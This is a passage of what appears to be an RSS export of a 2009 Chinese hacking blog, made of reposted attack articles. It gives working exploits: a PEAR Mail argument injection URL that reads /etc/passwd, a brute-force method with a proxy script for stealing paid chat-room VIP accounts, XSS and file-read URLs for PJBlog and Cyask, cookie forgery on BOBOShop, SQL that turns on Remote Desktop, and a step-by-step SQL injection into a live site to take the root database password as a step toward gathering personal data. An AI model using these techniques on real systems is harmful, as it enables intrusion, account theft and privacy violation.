<li>return&nbsp;PEAR::raiseError('Failed&nbsp;to&nbsp;open&nbsp;sendmail&nbsp;['&nbsp;.&nbsp;$this-&gt;sendmail_path&nbsp;.&nbsp;']&nbsp;for&nbsp;execution.’); &nbsp;&nbsp;</li>
<li>……&nbsp;&nbsp;</li>
</ol>
</div>
<p>可以看到 $from 变量的过滤并不完全，由于escapeShellCmd会将\等字符替换为空，即可绕过对空格的检查，而escapeshellcmd本身并不检查对于参数的调用，所以导致安全漏洞的发生。</p>
<p>漏洞测试：</p>
<div>
<div>
<ol class="alt">
<li style="list-style: none">&lt;?php &nbsp;&nbsp;</li>
<li>ini_set('include_path',ini_get('include_path').':/usr/local/lib/php/PEAR:'); &nbsp;&nbsp;</li>
<li>$from&nbsp;=&nbsp;"From:&nbsp;"&nbsp;.&nbsp;$_REQUEST['email']&nbsp;.&nbsp;“\r\n”; &nbsp;&nbsp;</li>
<li>$subj&nbsp;=&nbsp;“subscription&nbsp;request”; &nbsp;&nbsp;</li>
<li>$hdrs&nbsp;=&nbsp;array( &nbsp;&nbsp;</li>
<li>“Cc”&nbsp;=&gt;&nbsp;$cc, &nbsp;&nbsp;</li>
<li>“From”&nbsp;=&gt;&nbsp;$from, &nbsp;&nbsp;</li>
<li>); &nbsp;&nbsp;</li>
<li>$mail&nbsp;=&amp;&nbsp;Mail::factory(’sendmail’); &nbsp;&nbsp;</li>
<li>?&gt;&nbsp;&nbsp;</li>
</ol>
</div>
<p>http://www.80sec.com/index.php?1=3&amp;email=xxxxx%09-C%09/etc/passwd%09-X%09/tmp/wokao%09zzz@x%09.com&amp;l=2&amp;1=3</p>
<p>即可看到此漏洞的利用。</p>
<p>漏洞影响：所有PEAR的Mail函数包<br>
漏洞状态：通知官方</p>
</div>
</div>
</div> ]]></description>
		<eb:creationDate>2009-05-11 09:38:22</eb:creationDate>
		<eb:modificationDate></eb:modificationDate>
    </item>
    <item>
		<title><![CDATA[ 视频聊天室密码破解技术 ]]></title>
		<link>http://blog.tom.com/xieliang_521/article/7140.html</link>
		<description><![CDATA[ <div id="NewaspContentLabel" style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px"><font id="font_word" style="FONT-SIZE: 14px; FONT-FAMILY: 宋体, Verdana, Arial, Helvetica, sans-serif">转载的时候就没看到图片，大家只有将就一下了。<br>
　　由于工作关系，我的qq每个星期一到星期五都是在线的，但是却很少有人加我为好友，可能是老了吧，毕竟都24了，网恋那段激情燃烧的岁月已经离我远去了。可是那天却非常的幸运，一个女网友加了我，并传给我一个网址<a href="http://xxxxxxxxxxx.net:2899/">http://xxxxxxxxxxx.net:2899/</a>，让我去看她跳舞。我心</font>
<p><font id="font_word" style="FONT-SIZE: 14px; FONT-FAMILY: 宋体, Verdana, Arial, Helvetica, sans-serif">　　首先看看网页，如图1所示，大致了解了一下，这个聊天室是用meChat架构的。到meChat官方网站看了看，发现了最关键的一句，本系统无需任何Web Server和数据库系统支持，完全独立运行，所以什么Web注入、上传漏洞、IIS写权限漏洞基本就不可以用了。这时我能想到的就是Web探测了，制作一个用户字典和密码字典，因为总会有弱智的密码吧?至于探测软件呢，我能想到的就是小榕的溯雪，个人觉得这个最好用了。以下就介绍我是怎么做的吧，至于分析嘛，本来就没什么技术含量，就不做了。</font></p>
<p>　　第一步制作字典。字典的制作很关键，试想本来就没有这些用户又何来猜解呢?因此就得想办法知道有哪些用户名，然后做成字典。怎么获取用户名呢?这让我想起刚才登录进去的事情，它不是有在线用户列表吗?呵呵……那就再登录一次，不过我在看用户列表的时候发现一个很有趣的现象，就是大多数用户的用户名都是数字，都是8XXX这样的构成。这里我做了一个猜测，因为VIP用户是不能自己注册的，必须由管理员开启，那么就有可能管理员为了方便或者其他目的，这些VIP的用户名都是8000以上的递增数。所以我做了一个8000～9000这样的用户字典。至于密码字典，我就用比较常见的或者弱智的密码，比如123456、5201314……这样字典就做好了。</p>
<p>　　第二步是构造登录表单。这个聊天室的登录表单是利用JavaScript构造表单数据提交的，也就是说直接用溯雪提取表单元素来进行探测是不行的。经过分析，我发现提交的表单数据有Alias(用户名)、Password(密码)和RoomID(房间ID)，所以构造了如下的表单。</p>
<p>　　&lt;form name="form1" method="post" action="<a href="http://xxxxxx.net:2899/1/Login">http://xxxxxx.net:2899/1/Login</a>"&gt;<br>
　　&lt;table width="100%" border="1" cellspacing="0" cellpadding="0"&gt;<br>
　　&lt;tr&gt;<br>
　　&lt;td&gt;RoomID&lt;/td&gt;<br>
　 &lt;td&gt;&lt;input name="RoomId" type="text" id="RoomId" value=”101”&gt;&lt;/td&gt;<br>
　　&lt;/tr&gt;<br>
　　&lt;tr&gt;<br>
　　&lt;td&gt;Alias&lt;/td&gt;<br>
　　&lt;td&gt;&lt;input name="Alias" type="text" id="Alias"&gt;&lt;/td&gt;<br>
　　&lt;/tr&gt;<br>
　　&lt;tr&gt;<br>
　　&lt;td&gt;Password&lt;/td&gt;<br>
　　&lt;td&gt;&lt;input name="Password" type="text" id="Password"&gt;&lt;/td&gt;<br>
　　&lt;/tr&gt;<br>
　　&lt;tr&gt;<br>
　　&lt;td&gt;&amp;nbsp;&lt;/td&gt;<br>
　　&lt;td&gt;&lt;input type="submit" name="Submit" value="提交"&gt;&lt;/td&gt;<br>
　　&lt;/tr&gt;<br>
　　&lt;/table&gt;<br>
　　&lt;/form&gt;</p>
<p>　　这里需要说明的是Form的Action地址，它的构造需要看登录页面的源代码。在源代码中有这样类型的JavaScript语句：</p>
<p>　　var Server = new ChatServer() ;</p>
<p>　　Server.Add(101,'1房:会员大厅','/1/',12,28,0,'本网站不允许任何人互发联系方式，经发现立即永久封杀号码，并扣除分数.希望会员宝贝尊重网站规定!愿大家玩的开心','006,008,009,05,8001,8002,8003,8006,8008,8009',0,1,0,0,1,1,1,0,'');</p>
<p>　　其中101为RoomID，“/1/”为Action地址中的“/1/”，这要根据实际聊天室的源代码修改。</p>
<p>　　第三步是制作本地代理登<br>
录脚本。本来没有这一步的，但是因为溯雪会把地址中的“http://”自动去掉，导致URL语法错误，不能正常使用。可能其它的Web探测器不会出现这个错误，但是我只有溯雪，只能自己寻求办法解决了。我的办法是在本地Web服务器放一个ASP脚本，让它获取溯雪提交的数据，然后代理提交给聊天室登录获得返回给溯雪。我制作了一个chat.asp程序，其代码如下。</p>
<p>　　&lt;%<br>
　　Function GetHttpPage(HttpUrl)<br>
　　If IsNull(HttpUrl)=True Or HttpUrl="$False$" Then<br>
　　GetHttpPage="$False$"<br>
　　Exit Function<br>
　　End If<br>
　　Dim Http<br>
　　Set Http=server.createobject("MSXML2.XMLHTTP")<br>
　　Http.open "GET",HttpUrl,False<br>
　　Http.Send()<br>
　　If Http.Readystate&lt;&gt;4 then<br>
　　Set Http=Nothing<br>
　　GetHttpPage="$False$"<br>
　　Exit function<br>
　　End if<br>
　　GetHTTPPage=bytesToBSTR(Http.responseBody,"GB2312")<br>
　　Set Http=Nothing<br>
　　If Err.number&lt;&gt;0 then<br>
　　Err.Clear<br>
　　End If<br>
　　End Function<br>
　　Function BytesToBstr(Body,Cset)<br>
　　Dim Objstream<br>
　　Set Objstream = Server.CreateObject("adodb.stream")<br>
　 objstream.Type = 1<br>
　　objstream.Mode =3<br>
　　objstream.Open<br>
　　objstream.Write body<br>
　　objstream.Position = 0<br>
　 objstream.Type = 2<br>
　　objstream.Charset = Cset<br>
　　BytesToBstr = objstream.ReadText<br>
　　objstream.Close<br>
　　set objstream = nothing<br>
　　End Function</p>
<p>　　HttpUrl="<a href='http://xxxx.com:5000/1/Login/?Alias="&amp;Request.Form("Alias")&amp;"&amp;Password="&amp;Request.Form("Password")&amp;"&amp;RoomID="&amp;Request.Form("RoomID")&amp;"&amp;boxfunc=off&amp;RoomPassword=&amp;Sex'>http://xxxx.com:5000/1/Login/?Alias="&amp;Request.Form("Alias")&amp;"&amp;Password="&amp;Request.Form("Password")&amp;"&amp;RoomID="&amp;Request.Form("RoomID")&amp;"&amp;boxfunc=off&amp;RoomPassword=&amp;Sex</a>="</p>
<p>　　StarGet = GetHttpPage(HttpUrl)&nbsp;&nbsp;&nbsp;&nbsp; %&gt;</p>
<p>　　&lt;%=Server.HTMLEncode(StarGet)%&gt;</p>
<p>　　然后再把刚才构造的登录表单提交地址改成：<a href="http://localhost/chat.asp">http://localhost/chat.asp</a>，这样准备工作就完成了，至于怎么使用溯雪呢，我这里只简单地说一下。运行溯雪，将刚才构造的登录表单保存成HTML网页，鼠标单击把它拖到溯雪程序框里，然后选择模式为标准模式，按快捷键Ctrl+I提取表单，在loginPath处输入“/1/”，RoomID处输入“101”，Alias选择用户字典，password选择密码字典，效果如图2所示。接下来按Ctrl+R运行，这是一次错误探测，会返回登录错误的信息，然后让你输入错误标记，这里填写“errorpassword.htm”就可以了。再次提交程序就开始探测了(再按Ctrl+R)，我想要不了多久，你就会得到一个别人花150元才能买到的VIP账户了。</p>
<p>　　上面的方法比较麻烦，同时还需要IIS支持，所以我自己做了一个破解小工具，给那些和我一样懒的人用。该程序是用C#做的，要在Microsoft .NET Framework 1.1以上才能使用，下面就简单介绍一下吧。运行界面如图3所示，参数设置就不用说了，中文写的很清楚。特别说明一下的是用户名作为密码功能，因为有很多人喜欢把用户名作为密码使用的，大家不妨试一下!最后再说一下，关于用户名规律的发现，大家可以看这个聊天室源代码中的Server.Add(101,'1房:会员大厅','/1/',……0,1,0,0,1,1,1,0,'')，或者加入他们的qq群自己去发现。</p>
</div> ]]></description>
		<eb:creationDate>2009-05-11 09:37:49</eb:creationDate>
		<eb:modificationDate></eb:modificationDate>
    </item>
    <item>
		<title><![CDATA[ PJBlog个人博客系统Action.asp页面跨站脚本攻击漏洞 ]]></title>
		<link>http://blog.tom.com/xieliang_521/article/7138.html</link>
		<description><![CDATA[ <div id="NewaspContentLabel" style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px"><font id="font_word" style="FONT-SIZE: 14px; FONT-FAMILY: 宋体, Verdana, Arial, Helvetica, sans-serif"><font color="#000000"><font size="2">影响版本:PJBlog 3.0.6.170<br>
程序介绍:<br>
PJBlog一套开源免费的中文个人博客系统程序，采用asp+Access的技术，具有相当高的运作效能以及更新率，也支持目前Blog所使用的新技术。<br>
<br>
<br>
漏洞分析:<br>
在文件Action.asp中：<br>
<br>
elseif request("action")="type1" then //第23行<br>
dim&nbsp;&nbsp; mainurl,main,mainstr<br>
mainurl=request("mainurl")<br>
main=trim(checkstr(request("main")))<br>
response.clear()<br>
mainstr=""<br>
If&nbsp;&nbsp; Len(memName)&gt;0 Then<br>
mainstr=mainstr&amp;"&lt;img&nbsp;&nbsp; src=""images/download.gif"" alt=""下载文件"" style=""margin:0px 2px -4px 0px""/&gt;&nbsp;&nbsp; &lt;a href="""&amp;mainurl&amp;"""&nbsp;&nbsp; target=""_blank""&gt;"&amp;main&amp;"&lt;/a&gt;"程序对于输出变量mainurl和main没有过滤导致xss漏洞的产生。在同文件42行代码类似<br>
<br>
漏洞利用:<br>
http://www.target.com/Action.asp?action=type1&amp;mainurl=xxx"&gt;[XSS]<br>
<br>
解决方案:<br>
厂商补丁：<br>
PJblog<br>
-------<br>
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：<br>
http://bbs.pjhome.net/thread-52214-1-1.html</font><br></font></font></div> ]]></description>
		<eb:creationDate>2009-05-11 09:36:41</eb:creationDate>
		<eb:modificationDate></eb:modificationDate>
    </item>
    <item>
		<title><![CDATA[ cyask知道系统collect.php页面存在越权漏洞 ]]></title>
		<link>http://blog.tom.com/xieliang_521/article/7137.html</link>
		<description><![CDATA[ <div id="NewaspContentLabel" style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px"><font id="font_word" style="FONT-SIZE: 14px; FONT-FAMILY: 宋体, Verdana, Arial, Helvetica, sans-serif"></font>
<p><font id="font_word" style="FONT-SIZE: 14px; FONT-FAMILY: 宋体, Verdana, Arial, Helvetica, sans-serif">影响版本:<br>
Cyask</font></p>
<p>程序介绍:<br>
Cyask国内较为多人使用的仿百度风格的Ask系统。</p>
<p>漏洞分析:</p>
<p><br>
从Collect.php代码当中可以看到</p>
<p><br>
else&nbsp;&nbsp;<br>
{&nbsp;&nbsp;&nbsp;&nbsp;<br>
/*&nbsp;&nbsp;<br>
检查网址&nbsp;&nbsp;<br>
*/&nbsp;&nbsp;<br>
$url=get_referer();&nbsp;&nbsp;&nbsp;&nbsp;<br>
$neturl=emptyempty($_POST['neturl']) ? trim($_GET['neturl']) : trim($_POST['neturl']);&nbsp;&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;<br>
$collect_url=emptyempty($neturl) ? $url : $neturl;&nbsp;&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;<br>
$contents = ”;&nbsp;&nbsp;&nbsp;&nbsp;<br>
if(<a href="http://www.hack58.net/Article/html/2/5/2009/mailt$fid=@fopen($collect_url,%C3%A2%C2%80%C2%9Dr">$fid=@fopen($collect_url,”r</a>“))&nbsp;&nbsp;&nbsp;&nbsp;<br>
{&nbsp;&nbsp;&nbsp;&nbsp;<br>
do&nbsp;&nbsp;<br>
{&nbsp;&nbsp;&nbsp;&nbsp;<br>
$data = fread($fid, 4096);&nbsp;&nbsp;&nbsp;&nbsp;<br>
if (strlen($data) == 0)&nbsp;&nbsp;&nbsp;&nbsp;<br>
{&nbsp;&nbsp;&nbsp;&nbsp;<br>
break;&nbsp;&nbsp;&nbsp;&nbsp;<br>
}&nbsp;&nbsp;&nbsp;&nbsp;<br>
$contents .= $data;&nbsp;&nbsp;&nbsp;&nbsp;<br>
}&nbsp;&nbsp;&nbsp;&nbsp;<br>
while(true);&nbsp;&nbsp;&nbsp;&nbsp;<br>
fclose($fid);&nbsp;&nbsp;&nbsp;&nbsp;<br>
}&nbsp;&nbsp;&nbsp;&nbsp;<br>
else&nbsp;&nbsp;<br>
{&nbsp;&nbsp;&nbsp;&nbsp;<br>
show_message(’collect_url_error’, ”);&nbsp;&nbsp;&nbsp;&nbsp;<br>
exit;&nbsp;&nbsp;&nbsp;&nbsp;<br>
}&nbsp;&nbsp;&nbsp;&nbsp;</p>
<p><br>
漏洞利用:<br>
<a href="http://www.target.com/collect.php?neturl=config.inc.php">http://www.target.com/collect.php?neturl=config.inc.php</a></p>
<p>解决方案:<br>
厂商补丁：<br>
cyask<br>
-------<br>
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：</p>
</div> ]]></description>
		<eb:creationDate>2009-05-11 09:07:31</eb:creationDate>
		<eb:modificationDate></eb:modificationDate>
    </item>
    <item>
		<title><![CDATA[ BOBO网店商城购物系统漏洞浅析 ]]></title>
		<link>http://blog.tom.com/xieliang_521/article/7136.html</link>
		<description><![CDATA[ <div id="NewaspContentLabel" style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px"><font id="font_word" style="FONT-SIZE: 14px; FONT-FAMILY: 宋体, Verdana, Arial, Helvetica, sans-serif"></font>
<p><font id="font_word" style="FONT-SIZE: 14px; FONT-FAMILY: 宋体, Verdana, Arial, Helvetica, sans-serif">flaw0r's Blog</font></p>
<p>版本:BOBOShop V1.0 Style1<br>
系统:ASP+ACCESS<br>
BOBO购物管理系统是国内最先进的购物系统，采用asp+fso技术;傻瓜式的程序安装和调试;用户无需考虑系统的安装维护;美观、友好的展示铺面;设计中应用了多种网络安全技术;顾客可以方便的查询并订购商品;用户可以方便的定义各种商品信息;系统选用强大的数据库保存各类信息;系统支持多种浏览器;功能模块清晰实用强大;系统有着良好的扩充性和升级性;强大的在线支付系统和订单系统;<br>
全面的安全性处理：数据库防下载处理、CONN防止暴库处理、防止跨站脚本攻击、SQL注入式攻击防范、禁止脱机浏览工具浏览、后台登陆采用验证码验证、会员密码采用MD5方式加密、防范未知IP访问及软件攻击、管理员密码采用MD5方式加密、过滤sql注入代码及HTML代码防护、进行数据来源安全性监测，跨站脚本防范、管理员登陆日至记录，非法操作代码日至记录<br>
漏洞一：留言跨站<br>
网站留言页面为gbook.asp，下面看一下有问题的代码：<br>
function HTMLEncode2(fString)</p>
<p>fString = Replace(fString, CHR(13), "")</p>
<p>fString = Replace(fString, CHR(10) &amp; CHR(10), "&lt;/P&gt;&lt;&gt;")</p>
<p>fString = Replace(fString, CHR(10), "&lt;BR&gt;")</p>
<p>HTMLEncode2 = fString</p>
<p>end function<br>
set rs=server.CreateObject("adodb.recordset")<br>
rs.open "select * from shop_fk",conn,1,3<br>
rs.addnew<br>
rs("fksubject")=trim(request("fksubject"))<br>
rs("fkleixing")=request("fkleixing")<br>
rs("fkcontent")=htmlencode2(trim(request("fkcontent")))<br>
rs("fkusername")=trim(request("fkusername"))<br>
rs("fkemail")=trim(request("fkemail"))<br>
rs("fktel")=trim(request("fktel"))<br>
rs("fklaizi")=trim(request("fklaizi"))<br>
rs("fkdate")=now<br>
rs("fkip")=Request.ServerVariables("remote_addr")<br>
rs.update<br>
rs.close<br>
set rs=nothing<br>
作者首先定义了一个HTML的过滤函数，HTMLEncode2，但这个函数并没有过滤&lt;和&gt;,至于跨站能不能成功，还要看后台查看留言的文件有没有做进一步的过滤，因为留言是直接发给管理员的。那么我们来看一下后台查看留言的文件viewfk.asp，有问题代码如下：<br>
&lt;table width="80%" border="0" cellspacing="1" cellpadding="0"&gt;<br>
&lt;tr&gt;<br>
&lt;td align="center"&gt;<br>
&lt;b&gt;&lt;%=trim(rs("fksubject"))%&gt;&lt;/b&gt;<br>
&lt;/td&gt;<br>
&lt;/tr&gt;<br>
&lt;tr&gt;<br>
&lt;td&gt;<br>
&lt;%=trim(rs("fkcontent"))%&gt;&lt;br&gt;<br>
&lt;%="发表时间："&amp;rs("fkdate")%&gt;<br>
&lt;/td&gt;<br>
&lt;/tr&gt;<br>
&lt;/table&gt;<br>
大家可以很清楚的看到fksubject和fkcontent仅仅过滤了左右空格，导致我们可以跨站成功。<br>
利用如图所示，我们在留言内容处写入跨站测试代码&lt;script&gt;alert(/xss/)&lt;/script&gt;</p>
<p><br>
当管理员查看我们的留言时就会成功执行我们的跨站测试代码，效果如下图：</p>
<br>
<p>至于跨站的高级应用，就看大家的发挥了。</p>
<p>漏洞二：cookie欺骗</p>
<p>漏洞存在文件：1.huansuan.asp漏洞代码如下：<br>
&lt;%<br>
if request.Cookies("BOB")("username")="" then<br>
response.Redirect "user.asp"<br>
response.End<br>
end if<br>
………………………….省略代码<br>
%&gt;<br>
2.gouwu.asp漏洞代码如下<br>
dim bookid,username,action<br>
action=request.QueryString("action")<br>
if request.Cookies("BOB")("username")&lt;&gt;"" then<br>
username=trim(request.Cookies("BOB")("username"))<br>
else<br>
if request.Cookies("BOB")("dingdanusername")="" then<br>
username=now()<br>
username=replace(trim(username),"-","")<br>
username=replace(username,":","")<br>
username=replace(username," ","")<br>
response.Cookies("BOB")("dingdanusername")=username<br>
set rs=server.CreateObject("adodb.recordset")<br>
rs.open "select * from [user] ",conn,1,3<br>
rs.addnew<br>
rs("username")=username<br>
rs("niming")=1<br>
rs.update<br>
rs.close<br>
set rs=nothing<br>
else<br>
username=request.Cookies("BOB")("dingdanusername")<br>
end if<br>
end if</p>
<p>cookie信息如下所示：<br>
reglx%3D=1&amp;yucun=0&amp;jifen=0&amp;username=flaw0rlx=1&amp;jiaoyijine=0<br>
usercookies=1&amp;userid=4439&amp;userhidden=2&amp;password=965eb72c92a549dd&amp;userclass=1&amp;username=flaw0r<br>
我们很容易伪造信息。其中reglx=1为普通用户，reglx=2为VIP用户<br>
3.dingdan.asp<br>
&lt;%if request.Cookies("BOB")("username")="" then<br>
response.write "&lt;script. language=javascript&gt;alert('对不起，您还没有登陆！');history.go(-1);&lt;/script&gt;"<br>
response.End<br>
end if%&gt;<br>
这套系统还有很多文件存在上述的cookie欺骗漏洞，在此不一一列举</p>
</div> ]]></description>
		<eb:creationDate>2009-05-11 09:06:52</eb:creationDate>
		<eb:modificationDate></eb:modificationDate>
    </item>
    <item>
		<title><![CDATA[ 利用SQL命令开启3389 ]]></title>
		<link>http://blog.tom.com/xieliang_521/article/7134.html</link>
		<description><![CDATA[ <p>&nbsp;</p>
<p>3389登陆关键注册表位置：HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\DenyTSConnections<br>
其中键值DenyTSConnections 直接控制着3389的开启和关闭。当该键值为0表示3389开启，1则表示关闭。而MSSQL的xp_regwrite的存储过程可以对注册进行修改。我们使用这点就可以简单的修改DenyTSConnections键值，从而控制3389的关闭和开启。</p>
<p><br>
开启3389的SQL语句：<br>
syue.com/xiaohua.asp?id=100;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;--</p>
<p><br>
关闭3389的SQL语句：<br>
syue.com/xiaohua.asp?id=100;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;</p>
<p><br>
&nbsp;</p> ]]></description>
		<eb:creationDate>2009-05-09 13:00:34</eb:creationDate>
		<eb:modificationDate></eb:modificationDate>
    </item>
    <item>
		<title><![CDATA[ 从服务器渗透到获取个人信息实战 ]]></title>
		<link>http://blog.tom.com/xieliang_521/article/7132.html</link>
		<description><![CDATA[ <div>作者：上帝之爱<br>
<br>
很多朋友玩社工都很厉害，社工是攻击中的一种特殊应用，入侵+社工的攻击模式如果利用的好，可以所向披靡，本次的安全检测就是一次简单的尝试。话说某日我在网上胡乱搜索的时候，突然看见有一个php的连接，就忍俊不住的进去看了看，一看不要紧，事情就随之而来了，于是就有了此文！<br>
（一）安全检测<br>
1.操刀上阵<br>
当我看到了链接地址<a href="http://www.aaa.com/BBB/CCC.php?pid=XXX" target="_blank">http://www.AAA.com/BBB/CCC.php?pid=XXX</a>，就试了试在其地址后丢了个单引号，随之绝对路径就被泄露出来了，嘿嘿！（有时候可能不会简单的一个单引号就暴露路径，你可以试试随便输入一些东西，当然自己灵活运用），路径：F:\AAA\BBB\bbs6.1\CCC\db_mysql.class.php，如图1所示。<br>
<img alt="" src="http://www.hack58.net/Article/UploadPic/2009-5/20095505859679.gif" border="0"> <img id="aimg_977" style="WIDTH: 400px" alt="1.jpg" src="http://www.hack58.net/Article/UploadPic/2009-5/20095505859576.jpg" width="600" xxxxx="zoom(this, this.src)" unselectable="true" h="185" w="600" y="565" x="194" outfunc="null" initialized="true" status="2" file="attachments/month_0905/09050216389f34f1298dbc1da5.jpg" name="aimg_977">
<div><a title="1.jpg" href="http://t00ls.net/attachment.php?aid=977&amp;k=7e89349269dec484d1bd39137b0a8d29&amp;t=1241339968&amp;nothumb=yes&amp;sid=f1fegC5XVAgH%2BgwUB8ZYR7Pd%2BzrRWwLfdjNH%2BZAzuKFs%2FBQ" target="_blank"><b>下载</b></a> (102.94 KB)<br>
<div>昨天&nbsp;16:38</div>
</div>
<br>
2.信息分析和收集<br>
目录中以“bbs6.1”命名，bbs不是论坛的意思么？这时我打开了<a href="http://www.aaaa.com/" target="_blank">http://www.AAAA.com</a> 最下方显示的是：Powered by AAA!6.1.0，虽然他改了，但是我们还是可以看出这是一个DZ的论坛。呵呵，上次记得我就发现了一个DZ6.1的论坛存在注射，当时我问了宝哥才知道是插件的原因，但是这个不是，因为BBB目录不是论坛程序，而是另外一个文件目录。<br>
3. SQL注入测试<br>
这时候按照老办法，我们提交and 1=1和and 1=2，咦？怎么回事？and 1=1返回正常，但是提交and 1=2的时候，却自动跳转到and 1=1的页面，而且我提交的and 1=2也变成了and 1=1，我用/**/代替空格，发现还是一样的奥，这时我在URL后面加上一个“-1”，新闻页面则变成了另外一则新闻了。哈哈！还是存在注射的啊！所以说不能死脑筋！<br>
4.获取SQL注入长度<br>
接着就是判断长度了，order by X ，10个10个的依次递增，最后发现30的时候错误了，告诉我们长度在20-30之间，于是我接着改变长度数字提交，我最后判断长度为23，如图2所示。<br>
<img alt="" src="http://www.hack58.net/Article/UploadPic/2009-5/20095505859679.gif" border="0"> <img id="aimg_978" style="WIDTH: 400px" alt="2.jpg" src="http://www.hack58.net/Article/UploadPic/2009-5/2009550590921.jpg" width="600" xxxxx="zoom(this, this.src)" unselectable="true" h="197" w="600" y="999" x="194" outfunc="null" initialized="true" status="2" file="attachments/month_0905/09050216386e93bd197d0d5f82.jpg" name="aimg_978">
<div><a title="2.jpg" href="http://t00ls.net/attachment.php?aid=978&amp;k=e958f569028fa12be89675a3b635de21&amp;t=1241339968&amp;nothumb=yes&amp;sid=f1fegC5XVAgH%2BgwUB8ZYR7Pd%2BzrRWwLfdjNH%2BZAzuKFs%2FBQ" target="_blank"><b>下载</b></a> (137.14 KB)<br>
<div>昨天&nbsp;16:38</div>
</div>
<br>
5.获取数据库版本和用户等信息<br>
得到长度之后我们就该去找点东东了奥！提交：<a href="http://www.aaa.com/BBB/CCC.php?pid=407/" target="_blank">http://www.AAA.com/BBB/CCC.php?pid=407/</a>**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/* ，出现了9和11，于是我用version()和user()替换之，查看MYSQL版本和用户，如图3所示，信息如下：<br>
User = root@localhost<br>
Version = 5.0.20 –nt-log<br>
<img alt="" src="http://www.hack58.net/Article/UploadPic/2009-5/20095505859679.gif" border="0"> <img id="aimg_979" style="WIDTH: 525px" alt="3.jpg" src="http://www.hack58.net/Article/UploadPic/2009-5/2009550590406.jpg" width="600" xxxxx="zoom(this, this.src)" unselectable="true" h="164" w="600" y="1334" x="194" outfunc="null" initialized="true" status="2" file="attachments/month_0905/09050216389413e52118d45507.jpg" name="aimg_979">
<div><a title="3.jpg" href="http://t00ls.net/attachment.php?aid=979&amp;k=fb4475f5be0aad38d52de0034d8e3a9c&amp;t=1241339968&amp;nothumb=yes&amp;sid=f1fegC5XVAgH%2BgwUB8ZYR7Pd%2BzrRWwLfdjNH%2BZAzuKFs%2FBQ" target="_blank"><b>下载</b></a> (75.37 KB)<br>
<div>昨天&nbsp;16:38</div>
</div>
<br>
6.获取数据库密码<br>
我们可以通过以上信息得出推断，数据库和web在一块没有分离，还是root权限，而且是MYSQL5的，服务器系统是通过上面被爆漏的路径我们可以知道这是<a href="http://www.hack58.net/" target="_blank">Windows</a>系统的，这时ping了下看看，TTL值等于53，not <a href="http://www.hack58.net/" target="_blank">windows</a>？很明显是服务器做了设置，来欺骗我们的眼睛！（有时候不能暴漏路径出来怎么办呢？那就在URL中用大写PHP代替小写php，看看怎么样?返回正常则是<a href="http://www.hack58.net/" target="_blank">windows</a>的反之则是非<a href="http://www.hack58.net/" target="_blank">windows</a>的！）既然是root权限，而且还是MYSQL5的这可有得玩了！Root，那么就不用累死累活的去手工猜解管理员账号和密码了，直接去load_file，读出rootpass。把F:\AAA\BBB\bbs6.1\CCC\db_mysql.class.php 把这个路径转换成16进制的的去读取，查看源文件，查找require或者include引入文件，找到数据库连接文件config.inc.php的真实路径，如图4所示，有时候可能页面无法显示，那就查看源文件。我们修改路径，把config.inc.php改到路径上面，继续转换，接着提交，这时候我们就能查看到root pass信息了，如图5所示。<br>
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =<br>
$dbhost = 'localhost'; // 数据库服务器<br>
$dbuser = 'root'; // 数据库用户名<br>
$dbpw = 'XXX'; // 数据库密码<br>
$dbname = 'XXX'; // 数据库名<br>
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =<br>
<img alt="" src="http://www.hack58.net/Article/UploadPic/2009-5/20095505859679.gif" border="0"> <img id="aimg_980" style="WIDTH: 450px" alt="4.jpg" src="http://www.hack58.net/Article/UploadPic/2009-5/2009550590698.jpg" width="600" xxxxx="zoom(this, this.src)" unselectable="true" h="502" w="600" y="1792" x="194" outfunc="null" initialized="true" status="2" file="attachments/month_0905/0905021638eabfe4e480a211a6.jpg" name="aimg_980">
<div><a title="4.jpg" href="http://t00ls.net/attachment.php?aid=980&amp;k=49e41f1a8219be69c869ac5b66189f55&amp;t=1241339968&amp;nothumb=yes&amp;sid=f1fegC5XVAgH%2BgwUB8ZYR7Pd%2BzrRWwLfdjNH%2BZAzuKFs%2FBQ" target="_blank"><b>下载</b></a> (148.1 KB)<br>
<div>昨天&nbsp;16:38</div>
</div>
<br>
<img alt="" src="http://www.hack58.net/Article/UploadPic/2009-5/20095505859679.gif" border="0"> <img id="aimg_1009" style="WIDTH: 383px" alt="5.jpg" src="http://www.hack58.net/Article/UploadPic/2009-5/2009550590114.jpg" width="600" xxxxx="zoom(this, this.src)" unselectable="true" h="458" w="600" y="2297" x="194" outfunc="null" initialized="true" status="2" file="attachments/month_0905/0905021652d8d0ae856d6def89.jpg" name="aimg_1009">
<div><a title="5.jpg" href="http://t00ls.net/attachment.php?aid=1009&amp;k=80632d6e2f4b0a6a5ef844c126de4cef&amp;t=1241339968&amp;nothumb=yes&amp;sid=f1fegC5XVAgH%2BgwUB8ZYR7Pd%2BzrRWwLfdjNH%2BZAzuKFs%2FBQ" target="_blank"><b>下载</b></a> (191.64 KB)<br>
<div>昨天&nbsp;16:52</div>
</div>
<br>
二）小遇周折，提权成功<br>
